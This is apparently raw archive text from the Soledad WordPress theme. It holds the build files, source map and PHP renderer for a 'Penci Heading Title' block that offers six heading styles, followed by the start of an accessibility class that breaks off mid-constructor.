
/******/ })()
;
//# sourceMappingURL=index.js.mapPK     1w\zG    $  block/heading-styles/build/style.cssnu [        .pchead-e-block {
    --pcborder-cl: #dedede;
    --pcaccent-cl: #6eb48c;
}
.heading1-style-1 > h1,
.heading2-style-1 > h2,
.heading3-style-1 > h3,
.heading4-style-1 > h4,
.heading5-style-1 > h5,
.heading1-style-2 > h1,
.heading2-style-2 > h2,
.heading3-style-2 > h3,
.heading4-style-2 > h4,
.heading5-style-2 > h5 {
    padding-bottom: 8px;
    border-bottom: 1px solid var(--pcborder-cl);
    overflow: hidden;
}
.heading1-style-2 > h1,
.heading2-style-2 > h2,
.heading3-style-2 > h3,
.heading4-style-2 > h4,
.heading5-style-2 > h5 {
    border-bottom-width: 0;
    position: relative;
}
.heading1-style-2 > h1:before,
.heading2-style-2 > h2:before,
.heading3-style-2 > h3:before,
.heading4-style-2 > h4:before,
.heading5-style-2 > h5:before {
    content: '';
    width: 50px;
    height: 2px;
    bottom: 0;
    left: 0;
    z-index: 2;
    background: var(--pcaccent-cl);
    position: absolute;
}
.heading1-style-2 > h1:after,
.heading2-style-2 > h2:after,
.heading3-style-2 > h3:after,
.heading4-style-2 > h4:after,
.heading5-style-2 > h5:after {
    content: '';
    width: 100%;
    height: 2px;
    bottom: 0;
    left: 20px;
    z-index: 1;
    background: var(--pcborder-cl);
    position: absolute;
}
.heading1-style-3 > h1,
.heading2-style-3 > h2,
.heading3-style-3 > h3,
.heading4-style-3 > h4,
.heading5-style-3 > h5,
.heading1-style-4 > h1,
.heading2-style-4 > h2,
.heading3-style-4 > h3,
.heading4-style-4 > h4,
.heading5-style-4 > h5 {
    position: relative;
    padding-left: 20px;
}
.heading1-style-3 > h1:before,
.heading2-style-3 > h2:before,
.heading3-style-3 > h3:before,
.heading4-style-3 > h4:before,
.heading5-style-3 > h5:before,
.heading1-style-4 > h1:before,
.heading2-style-4 > h2:before,
.heading3-style-4 > h3:before,
.heading4-style-4 > h4:before,
.heading5-style-4 > h5:before {
    width: 10px;
    height: 100%;
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    bottom: 0;
    background: var(--pcaccent-cl);
}
.heading1-style-4 > h1,
.heading2-style-4 > h2,
.heading3-style-4 > h3,
.heading4-style-4 > h4,
.heading5-style-4 > h5 {
    padding: 10px 20px;
    background: #f1f1f1;
}
.heading1-style-5 > h1,
.heading2-style-5 > h2,
.heading3-style-5 > h3,
.heading4-style-5 > h4,
.heading5-style-5 > h5 {
    position: relative;
    z-index: 1;
}
.heading1-style-5 > h1:before,
.heading2-style-5 > h2:before,
.heading3-style-5 > h3:before,
.heading4-style-5 > h4:before,
.heading5-style-5 > h5:before {
    content: "";
    position: absolute;
    left: 0;
    bottom: 0;
    width: 200px;
    height: 50%;
    transform: skew(-25deg) translateX(0);
    background: var(--pcaccent-cl);
    z-index: -1;
    opacity: 0.4;
}
.heading1-style-6 > h1,
.heading2-style-6 > h2,
.heading3-style-6 > h3,
.heading4-style-6 > h4,
.heading5-style-6 > h5 {
    text-decoration: underline;
    text-underline-offset: 2px;
    text-decoration-thickness: 4px;
    text-decoration-color: var(--pcaccent-cl);
}PK     1w\2be  e  %  block/heading-styles/build/block.jsonnu [        {
  "$schema": "https://schemas.wp.org/trunk/block.json",
  "apiVersion": 3,
  "name": "block/soledad",
  "version": "1.0",
  "title": "Penci Heading Title",
  "category": "widgets",
  "description": "Display heading title with various styles.",
  "example": {},
  "attributes": {
    "headingTag": {
      "type": "string"
    },
    "headingStyle": {
      "type": "string"
    },
    "headingText": {
      "type": "string"
    },
    "accentColor": {
      "type": "string"
    },
    "borderColor": {
      "type": "string"
    }
  },
  "supports": {
    "color": {
      "background": false,
      "text": true
    },
    "html": true,
    "typography": {
      "fontSize": true
    }
  },
  "textdomain": "soledad",
  "editorScript": "file:./index.js",
  "editorStyle": "file:./style.min.css",
  "style": "file:./style.min.css",
  "render": "file:./render.php"
}PK     1w\2      %  block/heading-styles/build/render.phpnu [        <?php
/**
 * PHP file to use when rendering the block type on the server to show on the front end.
 *
 * The following variables are exposed to the file:
 *     $attributes (array): The block attributes.
 *     $content (string): The block default content.
 *     $block (WP_Block): The block instance.
 *
 * @see https://github.com/WordPress/gutenberg/blob/trunk/docs/reference-guides/block-api/block-metadata.md#render
 */
// Determine which content to display.
if ( isset( $attributes['headingText'] ) ) {

	$headingNewStyle = isset( $attributes['headingStyle'] ) ? $attributes['headingStyle'] : 'style-1';
	$heading_tag     = isset( $attributes['headingTag'] ) ? $attributes['headingTag'] : '1';
	$headingText     = $attributes['headingText'];
	$props           = get_block_wrapper_attributes();

	$style   = '';
	$accents = isset( $attributes['accentColor'] ) ? $attributes['accentColor'] : '';
	$border  = isset( $attributes['borderColor'] ) ? $attributes['borderColor'] : '';

	if ( $border ) {
		$style .= '--pcborder-cl:' . $border . ';';
	}

	if ( $accents ) {
		$style .= '--pcaccent-cl:' . $accents . ';';
	}

	echo "<div style='{$style}' class='pchead-e-block pchead-e-${headingNewStyle} heading${heading_tag}-${headingNewStyle}'><h${heading_tag} ${props}>${headingText}</h${heading_tag}></div>";
}
PK     1w\|,h=  =  '  block/heading-styles/build/index.js.mapnu [        {"version":3,"file":"index.js","mappings":"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","sources":["webpack://copyright-date-block/./src/edit.js","webpack://copyright-date-block/./src/save.js","webpack://copyright-date-block/external window \"React\"","webpack://copyright-date-block/external window [\"wp\",\"blockEditor\"]","webpack://copyright-date-block/external window [\"wp\",\"blocks\"]","webpack://copyright-date-block/external window [\"wp\",\"components\"]","webpack://copyright-date-block/external window [\"wp\",\"i18n\"]","webpack://copyright-date-block/webpack/bootstrap","webpack://copyright-date-block/webpack/runtime/compat get default export","webpack://copyright-date-block/webpack/runtime/define property getters","webpack://copyright-date-block/webpack/runtime/hasOwnProperty shorthand","webpack://copyright-date-block/webpack/runtime/make namespace object","webpack://copyright-date-block/./src/index.js"],"sourcesContent":["/**\n * Retrieves the translation of text.\n *\n * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-i18n/\n */\nimport { __ } from '@wordpress/i18n'\n\n/**\n * Imports the InspectorControls component, which is used to wrap\n * the block's custom controls that will appear in in the Settings\n * Sidebar when the block is selected.\n *\n * Also imports the React hook that is used to mark the block wrapper\n * element. It provides all the necessary props like the class name.\n *\n * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/#inspectorcontrols\n * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/#useblockprops\n */\nimport { InspectorControls, useBlockProps } from '@wordpress/block-editor'\n\n/**\n * Imports the necessary components that will be used to create\n * the user interface for the block's settings.\n *\n * @see https://developer.wordpress.org/block-editor/reference-guides/components/panel/#panelbody\n * @see https://developer.wordpress.org/block-editor/reference-guides/components/text-control/\n * @see https://developer.wordpress.org/block-editor/reference-guides/components/toggle-control/\n */\nimport {\n\t__experimentalHeading as Heading,\n\tColorPicker,\n\tPanelBody,\n\tSelectControl,\n\tTextControl,\n} from '@wordpress/components'\n/**\n * Imports the useEffect React Hook. This is used to set an attribute when the\n * block is loaded in the Editor.\n *\n * @see https://react.dev/reference/react/useEffect\n */\nimport { useEffect } from 'react'\n\n/**\n * The edit function describes the structure of your block in the context of the\n * editor. This represents what the editor will render when the block is used.\n *\n * @see https://developer.wordpress.org/block-editor/reference-guides/block-api/block-edit-save/#edit\n *\n * @param {Object}   props               Properties passed to the function.\n * @param {Object}   props.attributes    Available block attributes.\n * @param {Function} props.setAttributes Function that updates individual attributes.\n *\n * @return {Element} Element to render.\n */\nexport default function Edit( { attributes, setAttributes } ) {\n\tconst { headingText, headingStyle, headingTag, accentColor, borderColor } = attributes\n\n\tuseEffect( () => {\n\t\tif ( !headingText ) {\n\t\t\tsetAttributes( { headingText: 'This is a heading title' } )\n\t\t}\n\t}, [headingText, setAttributes] )\n\n\tlet vp = headingTag\n\n\tif ( !vp || vp == 'undefined' || vp === undefined ) {\n\t\tvp = 1\n\t}\n\n\tconst HeadingTagL = `h${vp}`\n\n\tconst cStyle = {\n\t\t'--pcborder-cl': borderColor,\n\t\t'--pcaccent-cl': accentColor,\n\t}\n\treturn (\n\t\t<>\n\t\t\t<InspectorControls>\n\t\t\t\t<PanelBody title={__( 'Settings', 'soledad' )}>\n\t\t\t\t\t<SelectControl\n\t\t\t\t\t\tlabel=\"Heading Tag\"\n\t\t\t\t\t\tvalue={headingTag}\n\t\t\t\t\t\toptions={[\n\t\t\t\t\t\t\t{ label: 'H1', value: '1' },\n\t\t\t\t\t\t\t{ label: 'H2', value: '2' },\n\t\t\t\t\t\t\t{ label: 'H3', value: '3' },\n\t\t\t\t\t\t\t{ label: 'H4', value: '4' },\n\t\t\t\t\t\t\t{ label: 'H5', value: '5' },\n\t\t\t\t\t\t\t{ label: 'H6', value: '6' },\n\t\t\t\t\t\t]}\n\t\t\t\t\t\tonChange={( headingNewTag ) => setAttributes( { headingTag: headingNewTag } )}\n\t\t\t\t\t\t__nextHasNoMarginBottom\n\t\t\t\t\t/>\n\t\t\t\t\t<SelectControl\n\t\t\t\t\t\tlabel=\"Style\"\n\t\t\t\t\t\tvalue={headingStyle}\n\t\t\t\t\t\toptions={[\n\t\t\t\t\t\t\t{ label: 'Style 1', value: 'style-1' },\n\t\t\t\t\t\t\t{ label: 'Style 2', value: 'style-2' },\n\t\t\t\t\t\t\t{ label: 'Style 3', value: 'style-3' },\n\t\t\t\t\t\t\t{ label: 'Style 4', value: 'style-4' },\n\t\t\t\t\t\t\t{ label: 'Style 5', value: 'style-5' },\n\t\t\t\t\t\t\t{ label: 'Style 6', value: 'style-6' },\n\t\t\t\t\t\t]}\n\t\t\t\t\t\tonChange={( headingNewStyle ) => setAttributes( { headingStyle: headingNewStyle } )}\n\t\t\t\t\t\t__nextHasNoMarginBottom\n\t\t\t\t\t/>\n\t\t\t\t\t<TextControl\n\t\t\t\t\t\tlabel={__(\n\t\t\t\t\t\t\t'Heading Title Text',\n\t\t\t\t\t\t\t'soledad',\n\t\t\t\t\t\t)}\n\t\t\t\t\t\tvalue={headingText}\n\t\t\t\t\t\tonChange={( value ) =>\n\t\t\t\t\t\t\tsetAttributes( { headingText: value } )\n\t\t\t\t\t\t}\n\t\t\t\t\t/>\n\t\t\t\t</PanelBody>\n\t\t\t</InspectorControls>\n\t\t\t<InspectorControls group=\"styles\">\n\t\t\t\t<PanelBody title={__( 'Heading Title Colors', 'soledad' )}>\n\t\t\t\t\t<Heading>Accent Color</Heading>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\tcolor={accentColor}\n\t\t\t\t\t\tonChange={( accentColorNew ) =>\n\t\t\t\t\t\t\tsetAttributes( { accentColor: accentColorNew } )\n\t\t\t\t\t\t}\n\t\t\t\t\t\tenableAlpha\n\t\t\t\t\t\tdefaultValue=\"\"\n\t\t\t\t\t/>\n\t\t\t\t\t<Heading>Border Color</Heading>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\tcolor={borderColor}\n\t\t\t\t\t\tonChange={( borderColorNew ) =>\n\t\t\t\t\t\t\tsetAttributes( { borderColor: borderColorNew } )\n\t\t\t\t\t\t}\n\t\t\t\t\t\tenableAlpha\n\t\t\t\t\t\tdefaultValue=\"\"\n\t\t\t\t\t/>\n\t\t\t\t</PanelBody>\n\t\t\t</InspectorControls>\n\t\t\t<div className={`pchead-e-block pchead-e-${headingStyle} heading${vp}-${headingStyle}`}>\n\t\t\t\t<HeadingTagL {...useBlockProps( { style: cStyle } )}>{headingText}</HeadingTagL></div>\n\t\t</>\n\t)\n}\n","/**\n * React hook that is used to mark the block wrapper element.\n * It provides all the necessary props like the class name.\n *\n * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/#useblockprops\n */\nimport { useBlockProps } from '@wordpress/block-editor';\n\n/**\n * The save function defines the way in which the different attributes should\n * be combined into the final markup, which is then serialized by the block\n * editor into `post_content`.\n *\n * @see https://developer.wordpress.org/block-editor/reference-guides/block-api/block-edit-save/#save\n *\n * @param {Object} props            Properties passed to the function.\n * @param {Object} props.attributes Available block attributes.\n *\n * @return {Element} Element to render.\n */\nexport default function save( { attributes } ) {\n\tconst { headingStyle, headingTag, headingText, accentColor, borderColor } = attributes;\n\n\t// If there is no fallbackCurrentYear, which could happen if the block\n\t// is loaded from a template/pattern, return null. In this case, block\n\t// rendering will be handled by the render.php file.\n\tlet displayDate;\n\n\tif ( ! headingText ) {\n\t\tdisplayDate = 'This is a heading title'\n\t} else {\n\t\tdisplayDate = headingText;\n\t}\n\n\tconst HeadingTagL = `h${headingTag}`;\n\n\treturn \t<div className={`pchead-e-block pchead-e-${headingStyle} heading${headingTag}-${headingStyle}`}><HeadingTagL { ...useBlockProps.save() }>{ displayDate }</HeadingTagL></div>\n\n}\n","module.exports = window[\"React\"];","module.exports = window[\"wp\"][\"blockEditor\"];","module.exports = window[\"wp\"][\"blocks\"];","module.exports = window[\"wp\"][\"components\"];","module.exports = window[\"wp\"][\"i18n\"];","// The module cache\nvar __webpack_module_cache__ = {};\n\n// The require function\nfunction __webpack_require__(moduleId) {\n\t// Check if module is in cache\n\tvar cachedModule = __webpack_module_cache__[moduleId];\n\tif (cachedModule !== undefined) {\n\t\treturn cachedModule.exports;\n\t}\n\t// Create a new module (and put it into the cache)\n\tvar module = __webpack_module_cache__[moduleId] = {\n\t\t// no module.id needed\n\t\t// no module.loaded needed\n\t\texports: {}\n\t};\n\n\t// Execute the module function\n\t__webpack_modules__[moduleId](module, module.exports, __webpack_require__);\n\n\t// Return the exports of the module\n\treturn module.exports;\n}\n\n","// getDefaultExport function for compatibility with non-harmony modules\n__webpack_require__.n = (module) => {\n\tvar getter = module && module.__esModule ?\n\t\t() => (module['default']) :\n\t\t() => (module);\n\t__webpack_require__.d(getter, { a: getter });\n\treturn getter;\n};","// define getter functions for harmony exports\n__webpack_require__.d = (exports, definition) => {\n\tfor(var key in definition) {\n\t\tif(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {\n\t\t\tObject.defineProperty(exports, key, { enumerable: true, get: definition[key] });\n\t\t}\n\t}\n};","__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))","// define __esModule on exports\n__webpack_require__.r = (exports) => {\n\tif(typeof Symbol !== 'undefined' && Symbol.toStringTag) {\n\t\tObject.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });\n\t}\n\tObject.defineProperty(exports, '__esModule', { value: true });\n};","/**\n * Registers a new block provided a unique name and an object defining its behavior.\n *\n * @see https://developer.wordpress.org/block-editor/developers/block-api/#registering-a-block\n */\nimport { registerBlockType } from '@wordpress/blocks';\n\n/**\n * Internal dependencies\n */\nimport Edit from './edit';\nimport save from './save';\nimport metadata from './block.json';\n\n/**\n * Define a custom SVG icon for the block. This icon will appear in\n * the Inserter and when the user selects the block in the Editor.\n */\nconst calendarIcon = (\n\t<svg\n\t\tviewBox=\"0 0 24 24\"\n\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\taria-hidden=\"true\"\n\t\tfocusable=\"false\"\n\t>\n\t\t<path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7h15v12zM9 10H7v2h2v-2zm0 4H7v2h2v-2zm4-4h-2v2h2v-2zm4 0h-2v2h2v-2zm-4 4h-2v2h2v-2zm4 0h-2v2h2v-2z\"></path>\n\t</svg>\n);\n\n/**\n * Every block starts by registering a new block type definition.\n *\n * @see https://developer.wordpress.org/block-editor/developers/block-api/#registering-a-block\n */\nregisterBlockType( metadata.name, {\n\ticon: calendarIcon,\n\t/**\n\t * @see ./edit.js\n\t */\n\tedit: Edit,\n\t/**\n\t * @see ./save.js\n\t */\n\tsave,\n} );\n"],"names":["__","InspectorControls","useBlockProps","__experimentalHeading","Heading","ColorPicker","PanelBody","SelectControl","TextControl","useEffect","Edit","attributes","setAttributes","headingText","headingStyle","headingTag","accentColor","borderColor","vp","undefined","HeadingTagL","cStyle","createElement","Fragment","title","label","value","options","onChange","headingNewTag","__nextHasNoMarginBottom","headingNewStyle","group","color","accentColorNew","enableAlpha","defaultValue","borderColorNew","className","style","save","displayDate","registerBlockType","metadata","calendarIcon","viewBox","xmlns","focusable","d","name","icon","edit"],"sourceRoot":""}PK     1w\y̒o	  o	  (  block/heading-styles/build/style.min.cssnu [        .pchead-e-block{--pcborder-cl:#dedede;--pcaccent-cl:#6eb48c}.heading1-style-1>h1,.heading1-style-2>h1,.heading2-style-1>h2,.heading2-style-2>h2,.heading3-style-1>h3,.heading3-style-2>h3,.heading4-style-1>h4,.heading4-style-2>h4,.heading5-style-1>h5,.heading5-style-2>h5{padding-bottom:8px;border-bottom:1px solid var(--pcborder-cl);overflow:hidden}.heading1-style-2>h1,.heading2-style-2>h2,.heading3-style-2>h3,.heading4-style-2>h4,.heading5-style-2>h5{border-bottom-width:0;position:relative}.heading1-style-2>h1:before,.heading2-style-2>h2:before,.heading3-style-2>h3:before,.heading4-style-2>h4:before,.heading5-style-2>h5:before{content:'';width:50px;height:2px;bottom:0;left:0;z-index:2;background:var(--pcaccent-cl);position:absolute}.heading1-style-2>h1:after,.heading2-style-2>h2:after,.heading3-style-2>h3:after,.heading4-style-2>h4:after,.heading5-style-2>h5:after{content:'';width:100%;height:2px;bottom:0;left:20px;z-index:1;background:var(--pcborder-cl);position:absolute}.heading1-style-3>h1,.heading1-style-4>h1,.heading2-style-3>h2,.heading2-style-4>h2,.heading3-style-3>h3,.heading3-style-4>h3,.heading4-style-3>h4,.heading4-style-4>h4,.heading5-style-3>h5,.heading5-style-4>h5{position:relative;padding-left:20px}.heading1-style-3>h1:before,.heading1-style-4>h1:before,.heading2-style-3>h2:before,.heading2-style-4>h2:before,.heading3-style-3>h3:before,.heading3-style-4>h3:before,.heading4-style-3>h4:before,.heading4-style-4>h4:before,.heading5-style-3>h5:before,.heading5-style-4>h5:before{width:10px;height:100%;content:'';position:absolute;top:0;left:0;bottom:0;background:var(--pcaccent-cl)}.heading1-style-4>h1,.heading2-style-4>h2,.heading3-style-4>h3,.heading4-style-4>h4,.heading5-style-4>h5{padding:10px 20px;background:#f1f1f1}.heading1-style-5>h1,.heading2-style-5>h2,.heading3-style-5>h3,.heading4-style-5>h4,.heading5-style-5>h5{position:relative;z-index:1}.heading1-style-5>h1:before,.heading2-style-5>h2:before,.heading3-style-5>h3:before,.heading4-style-5>h4:before,.heading5-style-5>h5:before{content:"";position:absolute;left:0;bottom:0;width:200px;height:50%;transform:skew(-25deg) translateX(0);background:var(--pcaccent-cl);z-index:-1;opacity:.4}.heading1-style-6>h1,.heading2-style-6>h2,.heading3-style-6>h3,.heading4-style-6>h4,.heading5-style-6>h5{text-decoration:underline;text-underline-offset:2px;text-decoration-thickness:4px;text-decoration-color:var(--pcaccent-cl)}PK     1w\Cx      *  block/heading-styles/build/index.asset.phpnu [        <?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-i18n'), 'version' => '7b2e89979f36b366ade5');
PK     1w\3e~  ~  ,  block/heading-styles/heading-title-block.phpnu [        <?php
/**
 * Plugin Name:       Heading Title Blocks
 * Description:       Display heading title
 * Version:           0.1.0
 * Requires at least: 6.2
 * Requires PHP:      7.0
 * Author:            PenciDesign
 * License:           GPL-2.0-or-later
 * License URI:       https://www.gnu.org/licenses/gpl-2.0.html
 * Text Domain:       soledad
 *
 * @package           soledad
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Registers the block using the metadata loaded from the `block.json` file.
 * Behind the scenes, it registers also all assets so they can be enqueued
 * through the block editor in the corresponding context.
 *
 * @see https://developer.wordpress.org/reference/functions/register_block_type/
 */
function penci_heading_block_styles() {
	register_block_type( __DIR__ . '/build' );
}
add_action( 'init', 'penci_heading_block_styles' );
PK     1w\͑    !  block/heading-styles/package.jsonnu [        {
	"name": "@wp-soledad/heading-title-styles",
	"version": "0.1.0",
	"description": "Display heading title.",
	"author": "PenciDesign",
	"license": "GPL-2.0-or-later",
	"main": "build/index.js",
	"scripts": {
		"build": "wp-scripts build",
		"format": "wp-scripts format",
		"lint:css": "wp-scripts lint-style",
		"lint:js": "wp-scripts lint-js",
		"packages-update": "wp-scripts packages-update",
		"plugin-zip": "wp-scripts plugin-zip",
		"start": "wp-scripts start",
		"env": "wp-env start"
	},
	"devDependencies": {
		"@wordpress/env": "^8.12.0",
		"@wordpress/scripts": "^26.17.0"
	},
	"files": [
		"*"
	],
	"dependencies": {
		"react": "^18.2.0"
	}
}
PK     1w\0/	(e  (e    accessibility.phpnu [        <?php

class PenciAccessibility {
	/**
	 * Initialize the class.
	 */
	public function __construct() {

		if ( ! get_theme_mod( 'penci_accessibility_enable' ) ) {
			return;
		}
		
		// Original hooks
		add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_scripts' ] );
		add_action( 'wp_head', [ $this, 'add_skiplinks' ] );
		add_filter( 'the_content', [ $this, 'remove_tabindex' ], 999 );
		add_filter( 'body_class', [ $this, 'body_class' ] );

		// Enhanced WCAG hooks
		add_action( 'wp_head', [ $this, 'add_accessibility_meta' ] );
		add_action( 'wp_head', [ $this, 'add_focus_styles' ] );
		add_action( 'wp_footer', [ $this, 'add_accessibility_javascript' ] );
		add_filter( 'nav_menu_link_attributes', [ $this, 'add_menu_link_attributes' ], 10, 3 );
		add_filter( 'wp_nav_menu_items', [ $this, 'add_skip_links_to_menu' ], 10, 2 );
		add_filter( 'the_content', [ $this, 'improve_content_accessibility' ], 998 );
		add_filter( 'wp_list_categories', [ $this, 'add_category_aria_labels' ] );
